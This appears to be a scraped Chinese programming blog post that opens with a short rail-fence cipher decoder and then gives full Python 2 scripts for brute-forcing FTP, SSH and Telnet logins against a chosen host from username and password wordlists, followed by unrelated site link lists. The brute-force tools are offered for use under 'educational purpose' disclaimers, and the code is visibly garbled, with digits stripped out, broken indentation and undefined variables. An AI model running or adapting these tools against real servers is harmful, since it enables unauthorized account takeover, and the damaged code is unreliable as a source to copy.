Python脚本暴力破解栅栏密码


Posted in Python onOctober 19, 2015

今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。

方法一(通用脚本):

#!/usr/bin/env python
 # -*- coding: gbk -*-
 # -*- coding: utf_ -*-
 e = raw_input(‘请输入要解密的字符串\n‘)
 elen = len(e)
 field=[]
 for i in range(,elen):
       if(elen%i==):
         field.append(i)
 for f in field:
   b = elen / f
   result = {x:‘‘ for x in range(b)}
   for i in range(elen):
     a = i % b;
     result.update({a:result[a] + e[i]})
   d = ‘‘
   for i in range(b):
     d = d + result[i]
   print ‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为: ‘+d

方法二:

FTP暴力破解脚本

#!/usr/bin/env python
#-*-coding = utf--*-
#author:@xfk
#blog:@blog.sina.com.cn/kaiyongdeng
#date:@--
import sys, os, time
from ftplib import FTP
docs = """
      [*] This was written for educational purpose and pentest only. Use it at your own risk. 
      [*] Author will be not responsible for any damage!
      [*] Toolname : ftp_bf.py
      [*] Coder :
      [*] Version : .
      [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt
    """
if sys.platform == 'linux' or sys.platform == 'linux':
  clearing = 'clear'
else:
  clearing = 'cls'
os.system(clearing)
R = "\[m";
G = "\[m";
Y = "\[m"
END = "\[m"
def logo():
  print G+"\n |---------------------------------------------------------------|"
  print " | |"
  print " | blog.sina.com.cn/kaiyongdeng |"
  print " | // ftp_bf.py v.. |"
  print " | FTP Brute Forcing Tool |"
  print " | |"
  print " |---------------------------------------------------------------|\n"
  print " \n [-] %s\n" % time.strftime("%X")
  print docs+END
def help():
  print R+"[*]-t, --target ip/hostname <> Our target"
  print "[*]-u, --usernamelist usernamelist <> usernamelist path"
  print "[*]-p, --passwordlist passwordlist <> passwordlist path"
  print "[*]-h, --help help <> print this help"
  print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()
def bf_login(hostname,username,password):
  # sys.stdout.write("\r[!]Checking : %s " % (p))
  # sys.stdout.flush()
  try:
    ftp = FTP(hostname)
    ftp.login(hostname,username, password)
    ftp.retrlines('list')
    ftp.quit()
    print Y+"\n[!] wt,wt!!! We did it ! "
    print "[+] Target : ",hostname, ""
    print "[+] User : ",username, ""
    print "[+] Password : ",password, ""+END
    return 
  # sys.exit()
  except Exception, e:
    pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END
  sys.exit()
def anon_login(hostname):
  try:
    print G+"\n[!] Checking for anonymous login.\n"+END
    ftp = FTP(hostname) ftp.login()
    ftp.retrlines('LIST')
    print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END
    ftp.quit()
  except Exception, e:
    print R+"\n[-] Anonymous login failed...\n"+END
    pass
def main():
  logo()
  try:
    for arg in sys.argv:
      if arg.lower() == '-t' or arg.lower() == '--target':
        hostname = sys.argv[int(sys.argv[:].index(arg))+]
      elif arg.lower() == '-u' or arg.lower() == '--usernamelist':
        usernamelist = sys.argv[int(sys.argv[:].index(arg))+]
      elif arg.lower() == '-p' or arg.lower() == '--passwordlist':
        passwordlist = sys.argv[int(sys.argv[:].index(arg))+]
      elif arg.lower() == '-h' or arg.lower() == '--help':
        help()
      elif len(sys.argv) <= :
        help()
  except:
    print R+"[-]Cheak your parametars input\n"+END
    help()
  print G+"[!] BruteForcing target ..."+END
  anon_login(hostname)
  # print "here is ok"
  # print hostname
  try:
    usernames = open(usernamelist, "r")
    user = usernames.readlines()
    count = 
    while count < len(user):
      user[count] = user[count].strip()
      count +=
  except:
    print R+"\n[-] Cheak your usernamelist path\n"+END
    sys.exit()
  # print "here is ok ",usernamelist,passwordlist
  try:
    passwords = open(passwordlist, "r")
    pwd = passwords.readlines()
    count = 
    while count < len(pwd):
      pwd[count] = pwd[count].strip()
      count +=
  except:
    print R+"\n[-] Check your passwordlist path\n"+END
    sys.exit()
  print G+"\n[+] Loaded:",len(user),"usernames"
  print "\n[+] Loaded:",len(pwd),"passwords"
  print "[+] Target:",hostname
  print "[+] Guessing...\n"+END
  for u in user: for p in pwd:
    result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))
    if result != :
      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END
    else:
      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END
    if not result :
      print R+"\n[-]There is no username ans password enabled in the list."
      print "[-]Exiting...\n"+END
if __name__ == "__main__":
  main()

SSH暴力破解

#!/usr/bin/env python
#-*-coding = UTF--*-
#author@:dengyongkai
#blog@:blog.sina.com.cn/kaiyongdeng
import sys
import os
import time
#from threading import Thread
try:
  from paramiko import SSHClient
  from paramiko import AutoAddPolicy
except ImportError:
  print G+'''
  You need paramiko module.
http://www.lag.net/paramiko/
  Debian/Ubuntu: sudo apt-get install aptitude
     : sudo aptitude install python-paramiko\n'''+END
  sys.exit()
docs = """
      [*] This was written for educational purpose and pentest only. Use it at your own risk.
      [*] Author will be not responsible for any damage!                               
      [*] Toolname    : ssh_bf.py
      [*] Author     : xfk
      [*] Version     : v..
      [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
  """
if sys.platform == 'linux' or sys.platform == 'linux':
     clearing = 'clear'
else: 
     clearing = 'cls'
os.system(clearing)
R = "\[m";
G = "\[m";
Y = "\[m"
END = "\[m"
def logo():
     print G+"\n        |---------------------------------------------------------------|"
     print "        |                                |"
     print "        |        blog.sina.com.cn/kaiyongdeng          |"
     print "        |        // ssh_bf.py v..           |"
     print "        |         SSH Brute Forcing Tool            |"
     print "        |                                |"
     print "        |---------------------------------------------------------------|\n"
     print " \n           [-] %s\n" % time.ctime()
     print docs+END
def help():
  print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"
  print "   [*]-P    --port     <>the ssh service port(default is )"
  print "   [*]-U    --usernamelist   <>usernames list file"
  print "   [*]-P    --passwordlist   <>passwords list file"
  print "   [*]-H    --help     <>show help information"
  print "   [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
  sys.exit()
def BruteForce(hostname,port,username,password):
    '''
    Create SSH connection to target
    '''
    ssh = SSHClient()
    ssh.set_missing_host_key_policy(AutoAddPolicy())
    try:
      ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
      status = 'ok'
      ssh.close()
    except Exception, e:
      status = 'error'
      pass
  return status
def makelist(file):
  '''
  Make usernames and passwords lists
  '''
  items = []
  try:
    fd = open(file, 'r')
  except IOError:
    print R+'unable to read file \'%s\'' % file+END
    pass
  except Exception, e:
    print R+'unknown error'+END
    pass
  for line in fd.readlines():
    item = line.replace('\n', '').replace('\r', '')
    items.append(item)
  fd.close() 
  return items
def main():
    logo() 
#  print "hello wold"
    try:  
        for arg in sys.argv:
            if arg.lower() == '-t' or arg.lower() == '--target':
                hostname = str(sys.argv[int(sys.argv[:].index(arg))+])
        if arg.lower() == '-p' or arg.lower() == '--port':
          port = sys.argv[int(sys.argv[:].index(arg))+]
            elif arg.lower() == '-u' or arg.lower() == '--userlist':
                userlist = sys.argv[int(sys.argv[:].index(arg))+]
            elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                wordlist = sys.argv[int(sys.argv[:].index(arg))+]
            elif arg.lower() == '-h' or arg.lower() == '--help':
                help()
      elif len(sys.argv) <= :
                help()
    except:
        print R+"[-]Cheak your parametars input\n"+END
        help()
    print G+"\n[!] BruteForcing target ...\n"+END
#    print "here is ok"
#    print hostname,port,wordlist,userlist
    usernamelist = makelist(userlist)
    passwordlist = makelist(wordlist)
    print Y+"[*] SSH Brute Force Praparing."
    print "[*] %s user(s) loaded." % str(len(usernamelist))
    print "[*] %s password(s) loaded." % str(len(passwordlist))
    print "[*] Brute Force Is Starting......."+END
  try:
      for username in usernamelist:
        for password in passwordlist:
        print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END
            current = BruteForce(hostname, port, username, password)
              if current == 'error':
          print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END
#                pass
              else:
                  print G+"\n[+] ^-^ HaHa,We Got It!!!"
                  print "[+] username: %s" % username
                  print "[+] password: %s\n" % password+END
#                  sys.exit()
  except:
    print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
    print "[-] Exitting.....\n"+END
    raise
    print Y+"[+] Done.^-^\n"+END
    sys.exit()
if __name__ == "__main__":
  main()

TELNET密码暴力破解

#!usr/bin/python
#Telnet Brute Forcer
#http://www.darkcde.com
#dhydr[at]gmail[dot]com
import threading, time, random, sys, telnetlib
from copy import copy
if len(sys.argv) !=:
  print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"
  sys.exit()
try:
  users = open(sys.argv[], "r").readlines()
except(IOError):
  print "Error: Check your userlist path\n"
  sys.exit()
try:
  words = open(sys.argv[], "r").readlines()
except(IOError):
  print "Error: Check your wordlist path\n"
  sys.exit()
print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v."
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"
wordlist = copy(words)
def reloader():
  for word in wordlist:
    words.append(word)
def getword():
  lock = threading.Lock()
  lock.acquire()
  if len(words) != :
    value = random.sample(words, )
    words.remove(value[])
  else:
    print "\nReloading Wordlist - Changing User\n"
    reloader()
    value = random.sample(words, )
    users.remove(users[])
  lock.release()
  if len(users) ==:
    return value[][:-], users[]
  else:
    return value[][:-], users[][:-]
class Worker(threading.Thread):
  def run(self):
    value, user = getword()
    try:
      print "-"*
      print "User:",user,"Password:",value
      tn = telnetlib.Telnet(sys.argv[])
      tn.read_until("login: ")
      tn.write(user + "\n")
      if password:
          tn.read_until("Password: ")
          tn.write(value + "\n")
      tn.write("ls\n")
      tn.write("exit\n")
      print tn.read_all()
      print "\t\nLogin successful:",value, user
      tn.close()
      work.join()
      sys.exit()
    except:
      pass
for I in range(len(words)*len(users)):
  work = Worker()
  work.start()
  time.sleep()
Python 相关文章推荐
对于Python编程中一些重用与缩减的建议
Apr 14 Python
pandas 使用apply同时处理两列数据的方法
Apr 20 Python
python email smtplib模块发送邮件代码实例
Apr 26 Python
Python实现的txt文件去重功能示例
Jul 07 Python
Python django使用多进程连接mysql错误的解决方法
Oct 08 Python
python使用opencv对图像mask处理的方法
Jul 05 Python
Python 实现加密过的PDF文件转WORD格式
Feb 04 Python
python+opencv实现移动侦测(帧差法)
Mar 20 Python
tensorflow模型文件(ckpt)转pb文件的方法(不知道输出节点名)
Apr 22 Python
浅谈python出错时traceback的解读
Jul 15 Python
Python模拟登录requests.Session应用详解
Nov 17 Python
解决python的空格和tab混淆而报错的问题
Feb 26 Python
python学习笔记之调用eval函数出现invalid syntax错误问题
Oct 18 #Python
在arcgis使用python脚本进行字段计算时是如何解决中文问题的
Oct 18 #Python
详解使用Python处理文件目录的相关方法
Oct 16 #Python
详解在Python程序中自定义异常的方法
Oct 16 #Python
Python编程中的文件操作攻略
Oct 16 #Python
详解Python编程中包的概念与管理
Oct 16 #Python
解读Python编程中的命名空间与作用域
Oct 16 #Python
You might like
基于curl数据采集之单页面并行采集函数get_htmls的使用
2013/04/28 PHP
php的curl封装类用法实例
2014/11/07 PHP
两种php给图片加水印的实现代码
2020/04/18 PHP
在PHP 7下安装Swoole与Yar,Yaf的方法教程
2017/06/02 PHP
PHP异常处理定义与使用方法分析
2017/07/25 PHP
PHP定义字符串的四种方式详解
2018/02/06 PHP
php实现生成带二维码图片并强制下载功能
2018/02/24 PHP
jQuery.Validate 使用笔记(jQuery Validation范例 )
2010/06/25 Javascript
Jquery 获取checkbox的checked问题
2011/11/16 Javascript
dwz 如何去掉ajaxloading具体代码
2013/05/22 Javascript
javascript实现五星评分功能
2015/11/10 Javascript
jquery实现图片上传前本地预览功能
2016/05/10 Javascript
关于页面刷新vuex数据消失问题解决方案
2017/07/03 Javascript
vue跨域解决方法
2017/10/15 Javascript
vue 中filter的多种用法
2018/04/26 Javascript
js+canvas实现验证码功能
2020/09/21 Javascript
css配合JavaScript实现tab标签切换效果
2018/10/11 Javascript
[00:56]PWL开团时刻DAY8——追追追追追!
2020/11/09 DOTA
[54:18]DOTA2-DPC中国联赛 正赛 PSG.LGD vs LBZS BO3 第一场 1月22日
2021/03/11 DOTA
简明 Python 基础学习教程
2007/02/08 Python
使用Python的Scrapy框架编写web爬虫的简单示例
2015/04/17 Python
python django事务transaction源码分析详解
2017/03/17 Python
python条件变量之生产者与消费者操作实例分析
2017/03/22 Python
scrapy爬虫完整实例
2018/01/25 Python
python和shell监控linux服务器的详细代码
2018/06/22 Python
在Python中实现替换字符串中的子串的示例
2018/10/31 Python
python并发编程 Process对象的其他属性方法join方法详解
2019/08/20 Python
Python爬虫逆向分析某云音乐加密参数的实例分析
2020/12/04 Python
HTML5的download属性详细介绍和使用实例
2014/04/23 HTML / CSS
捷克钓鱼用品网上商店:Parys.cz
2018/06/15 全球购物
《小白兔和小灰兔》教学反思
2014/02/18 职场文书
考试作弊检讨书1000字(5篇)
2014/10/19 职场文书
2014年小学辅导员工作总结
2014/12/23 职场文书
感谢信模板大全
2015/01/23 职场文书
2015年安全生产责任书
2015/01/30 职场文书
伏羲庙导游词
2015/02/09 职场文书